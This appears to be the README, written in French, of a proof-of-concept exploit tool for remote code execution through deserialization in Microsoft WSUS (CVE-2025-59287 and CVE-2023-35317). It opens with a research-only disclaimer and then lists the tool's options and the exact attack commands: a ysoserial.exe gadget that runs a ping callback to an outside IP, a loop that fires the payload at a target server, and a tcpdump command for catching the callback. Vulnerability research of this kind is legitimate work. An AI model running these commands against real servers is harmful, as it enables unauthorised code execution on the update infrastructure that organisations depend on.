CVE-2025-59287 / CVE-2023-35317 PoC

Au cœur de CVE-2025-59287 : RCE via SoapFormatter dans WSUS : https://shellcode.blog/wsus-cve-2025-59287-investigation/

Ce logiciel a été créé uniquement à des fins de recherche académique et de développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes, sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.

Utilisation

Options obligatoires :

• --target-url – URL de base du serveur WSUS cible, p. ex. http://WIN-246JC0TE3BB.vuln.local:8530
• --cve – L'un de CVE-2023-35317 ou CVE-2025-59287

Options facultatives :

• --dns-name – Nom DNS du client utilisé dans les requêtes SOAP (défaut : bugcrowd.local)
• --random – Préfixe --dns-name avec un sous-domaine aléatoire afin que chaque exécution apparaisse comme un nouveau client
• --payload – Payload ysoserial personnalisée encodée en base64 ; si elle est omise, une payload intégrée est utilisée pour le --cve choisi
• --debug – Active la journalisation de débogage détaillée (lignes [DEBUG])

CVE-2025-59287

1. python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --payload BASE64_YSOSERIAL_BLOB --dns-name bugcrowd.local --cve CVE-2025-59287 --random

Déclenchement manuel – CVE-2023-35317

1. (Facultatif) Générez une payload avec Ysoserial.Net si vous ne souhaitez pas utiliser celle intégrée (ou fiez-vous à la payload intégrée).
2. Exécutez : python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --dns-name bugcrowd.local --cve CVE-2023-35317 --random
3. Ouvrez la console WSUS

Déclenchement automatique – CVE-2023-35317

1. ./ysoserial.exe -g RolePrincipal -f BinaryFormatter -c 'ping 18.118.100.100' -o base64 (ou fiez-vous à la payload intégrée pour --cve CVE-2023-35317)
2. for i in `seq 1 300`; do sleep 1; python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --payload BASE64_YSOSERIAL_BLOB --dns-name bugcrowd.local --cve CVE-2023-35317 --random ;done
3. Attendez 1 à 3 minutes et elle s'exécutera dans le processus du service.
4. Surveillez les connexions ICMP : sudo tcpdump -l -n -i any icmp | while read line; do echo "$line"; echo -ne '\a'; done